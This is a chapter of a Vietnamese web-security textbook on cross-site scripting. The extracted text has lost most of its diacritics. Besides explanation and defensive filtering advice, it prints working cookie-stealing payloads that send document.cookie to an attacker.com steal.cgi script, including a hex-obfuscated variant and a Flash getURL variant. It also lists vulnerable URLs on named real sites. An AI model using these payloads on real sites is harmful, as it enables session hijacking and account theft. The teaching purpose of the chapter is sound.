Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
CH NG 5:
CHÈN MÃ L NH TH C THI TRÊN TRÌNH DUY T N N NHÂN (CROSS SITE SCRIPTING)
cd
I. K THU T T N CÔNG CROSS SITE SCRIPTING (XSS)
Ph ng pháp Cross Site Scripting (đ c vi t t t là XSS) là ph ng pháp t n công b ng cách chèn thêm nh ng đo n mã có kh n ng đánh c p hay thi t l p đ c nh ng thông tin quan tr ng nh cookies, m t kh u,… vào mã ngu n ng d ng webđ t đó chúngđ c ch y nh là m t ph n c a ng d ng Web và có ch c n ng cung c p ho c th c hi n nh ng nh ngđi u hacker mu n.
Ph ng pháp này không nh m vào máy ch h th ng mà ch y u t n công trên chính máy ng i s d ng. Hacker s l i d ng s ki m tra l ng l o t ng d ng và hi u bi t h n ch c a ng i dùng c ng nh bi t đánh vào s tò mò c a h d n đ n ng i dùng b m t thông tin m t cách d dàng.
Thông th ng hacker l i d ng đa ch URL đ đ a ra nh ng liên k t là tác nhân kích ho t nh ng đo n ch ng trình đ c vi t b ng ngôn ng máy khách nh VBScript, JavaScript…đ c th c thi trên chính trình duy t c a n n nhân.
Ví D 5.I-1:
http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert (document.cookie);</script>
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
hay:
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Ph n in đ m là đo n mãđ c thêm vào v i m c đích đánh c p cookies c a n n nhân. Trong nh ng ví d 2.I-1 trên, h u h t nh ng ti n t URL là đa ch c a nh ng ng d ng Web có th t (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) l i d ng cách truy n tham s trên URL mà hacker có th d dàng thêm vào đo n mãđánh c p cookie.
Ví d 5.I-1 trên ch minh h a m t cách đ n gi n là thêm đo n mã c a mình vào trang Web thông qua URL. Nh ng th c s thì có r t nhi u cách đ thêm đo n mã JavaScript v i m c đích t n công ki u XSS. Hacker có th d dàng l i d ng Document Object Model (DOM) đ thay đ i ng c nh và n i d ng Web ng d ng. Sau đây là danh sách n i có th chènđo n mã:
Ví d 5.I-2:
<a href="javascript#[code]"> <div onmouseover="[code]">
<img src="javascript:[code]"> <img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">
&<script>[code]</script> &{[code]};
<img src=&{[code]};>
<liên k t rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]">
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">
<div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên k胤t to code]);">
<div style="binding: url([liên k胤t to code]);"> <div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script>
<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
(tài li u t http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)
Ph n in đ m là ph n có th đ t đo n mãđánh c p thông tin.
II. PH NG PHÁP T N CÔNG XSS TRUY N TH NG
ng d ng Web th ng l u tr thông tin quan tr ng cookie. Cookie là m u thông tin mà ng d ng l u trên đa c ng c a ng i s d ng. Nh ng ch ng d ng thi t l p ra cookie thì m i có th đ c nó. Do đó ch khi ng i dùng đang trong phiên làm vi c c a ng d ng thì hacker m i có c h i đánh c p cookie. Công vi c đ u tiên c a hacker là tìm trangđích đ d ng i dùng đ ng nh p sau khi đã tìm ra l h ng trên
ng d ng đó.
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
Hình 5.II-1. Quá trình th c hi n XSS
Tóm t t các b c th c hi n:
• B c 1: Hacker bi t đ c ng i dùng đang s d ng m t ng d ng Web có l h ng XSS.
• B c 2: Ng i dùng nh n đ c 1 liên k t thông qua email hay trên chính trang Web (nh trên guestbook, banner d dàng thêm 1 liên k t do chính hacker t o ra…). Thông th ng hacker khi n ng i dùng chú ý b ng nh ng câu kích thích s tò mò c a ng i dùng nh “ Ki m tra tài kho n”, “M t ph n th ng h p d n
đang ch b n”…
• B c 3: Chuy n n i dung thông tin (cookie, tên, m t kh u…) v máy ch c a hacker.
• B c 4: Hacker t o m t ch ng trình cgi ( ví d 3 này là steal.cgi) ho c m t trang Web đ ghi nh n nh ng thông tin đãđánh c p vào 1 t p tin
• B c 5: Sau khi nh n đ c thông tin c n thi t, hacker có th s d ng đ thâm nh p vào tài kho n c a ng i dùng.
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
Ví d 5.II-1: khai thác l h ng trên ng d ng hotwired.lycos.com, hacker có th th c hi n nh sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> M t ph n th ng h p d n đang ch b n </a>
</body> </html>
Sau khi ng i dùng nh p vào liên k t “M t ph n th ng h p d n đang ch b n”, cookie trên máy n n nhân s b đánh c p và là tham s truy n vào cho ch ng trình steal.cgi c a hacker. http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 V n đ đ t ra là có th ng i l p trình s b o v ng d ng Web c a mình b ng cách l c nh ng kí t đ c bi t nh ‘, hay + (có th tránh tr ng h p dùng d u ‘ đ th c hi n câu truy v n SQL ch ng h n)… Nh ng hacker có th l i d ng mã hex thay cho nh ng kí t đ c bi tđ t n công.
Thay th b ng nh ng s hex cho nh ng kí t ASCII. Ví d 5.II-2:
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting) http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …
Sauđây là ví d trong cách dùng mã hex trong ng d ng web.
Ví d 5.II-3: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting) u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true"
onMouseOut="window.status='';return true">M t ph n th ng h p d n đang ch b n</a>
</body> </html>
III. M T S WEBSITE TÌM TH Y L H NG XSSTên công ty Domain Nh ng liên k t b khai thác Tên công ty Domain Nh ng liên k t b khai thác
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
nbc.com <script>alert(document.cookie)</script>&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr osoft.com/ http://www.microsoft.com/education/?ID=MCTN &target=http://www.microsoft.com/education/?ID= MCTN &target=<script>alert(document.cookie)</script> Chase https://www.cha se.com/ https://www.chase.com/chase/gx.cgi/FTcs?pagenam e=<script>alert(document.cookie)</script> &urlname=smallbusiness/direct EBay https://scgi.ebay. co.uk/ https://scgi.ebay.co.uk/saw- cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=<script>alert(document.cookie) </script>
Oracle Japan http://www.orac le.co.jp/
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i m_search_exe?
search_text=<script>alert(document.cookie) </script>
IV. T N CÔNG XSS B NG FLASH
Ngoài nh ng cách đ a m t đo n mã nguy hi m thì hacker còn có th l i d ng nh ng t p tin flash đ đánh c p thông tin.
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
Macromedia Flash cho phép l p trình b ng m t ngôn ng k ch b n đãđ c xây d ng s n trong Flash là ActionScript. ActionScript có cú pháp đ n gi n và t ng t nh JavaScript, C hay PERL. Ví d hàm getURL() dùng đ g i m t trang web khác, tham s th ng là m t URL ch ng h n nh “http://www.yahoo.com”.
Ví d 5.IV-1:
getURL(“http://www.yahoo.com”)
Tuy nhiên có th thay th URL b ng JavaScript:
getURL(“javascript:alert(document.cookie)”)
Ví d 5.IV-1 trên s làm xu t hi n b ng thông báo ch a cookie c a trang web ch a t p tin flash đó. Nh v y là trang web đó đã b t n công, b ng cách chèn m t đo n JavaScript vào ng d ng Web thông qua t p tin flash. M t ví d khác rõ h n v cách t n công này là:
ây là đo n l nh trong t p tin flash và s đ c thi hành khi t p tin flashđ cđ c:
getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)
Nh v y là khi ng i dùng xem trang web ch a t p tin flash này thì ngay l p t c cookie c a h do trang web ch a t p tin flash đó t o ra s g i v cho hacker.
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
Hình 5.IV-2: Cách vi t Action Scipt trong Flash
Ví d 5.IV-2:
DeviantArt là m t trang web n i ti ng, cho phép thành viên c a nó g i các t p tin flash lên cho m i thành viên cùng xem. Vì th hacker có th n c p cookie c a các thành viên và c ng có th là tài kho n c a ng i qu n tr web, b ng cáchđ ng kí làm thành viên c a ng d ng Web này, g i t p tin flash lên máy ch và đ i các n n nhân xem t p tin flash đó. D i đây là đa ch liên k t d n m t t p tin flash nh đã trình bày trong ví d 5.IV-2:
http://www.deviantart.com/deviation/1386080
Ngoài ra các trang web cho phép thành viên g i d li u d ng HTML nh di n đàn, các ch c n ng t o ch kí riêng, … c ng có th là m c tiêu c a cách t n công này, b ng cách nh pđo n mã g i t p tin flash vào.
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
HEIGHT="48" id="1" ALIGN="">
<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#FF9900>
<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CH NG
• V i nh ng d li u, thông tin nh p c a ng i dùng, ng i thi t k ng d ng Web c n ph i th c hi n vài b c c b n sau: o T o ra danh sách nh ng th HTML đ c phép s d ng. o Xóa b th <script> o L c ra b t kì m t đo n mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. o L c d u nháy đ n hay kép
o L c kí t Null ( vì kh n ng thêm m t đo n mã b t kì sau kí t Null khi n cho ng d ng dù đã l c b th <script> v n không nh n ra do ng d ng ngh r ng chu i đã k t thúc t kí t Null này).
Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)
o Xóa nh ng kí t “ > ”, “ < ”
o V n cho phép nh p nh ng kí t đ c bi t nh ng s đ c mã hóa theo chu n riêng.
• i v i ng i dùng, c n c u hình l i trình duy t đ nh c nh ng i dùng có cho th c thi ngôn ng k ch b n trên máy c a h hay không? Tùy vào m c đ tin c y mà ng i dùng s quy t đnh.
Nh n xét:
K thu t XSS khá ph bi n và d dàng áp d ng, tuy nhiên m cđ thi t h i ch d ng l i m cđ t n công trên máy n n nhân thông qua nh ng liên k t hay form l ađ o mà hackerđ ađ n cho n n nhân. Vì th , ngoài vi c ng d ng ki m tra tínhđúngđ n c a d li u tr c khi s d ng thì vi c c n nh t là ng i dùng nên c nh giác tr c khi b c vào m t trang Web m i. Có th nói, nh vào s c nh giác c a ng i dùng thì 90% đã đ t đ c s b o m t trong k thu t này. Tuy nhiên, trong ch ng 6, s t n công l i nh m vào máy ch , nh m thu th p thông tin trong c s d li u và t đó giành quy n qu n tr ng d ng.
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Ch ng 6
CHÈN CÂU TRUY V N SQL
N i dung: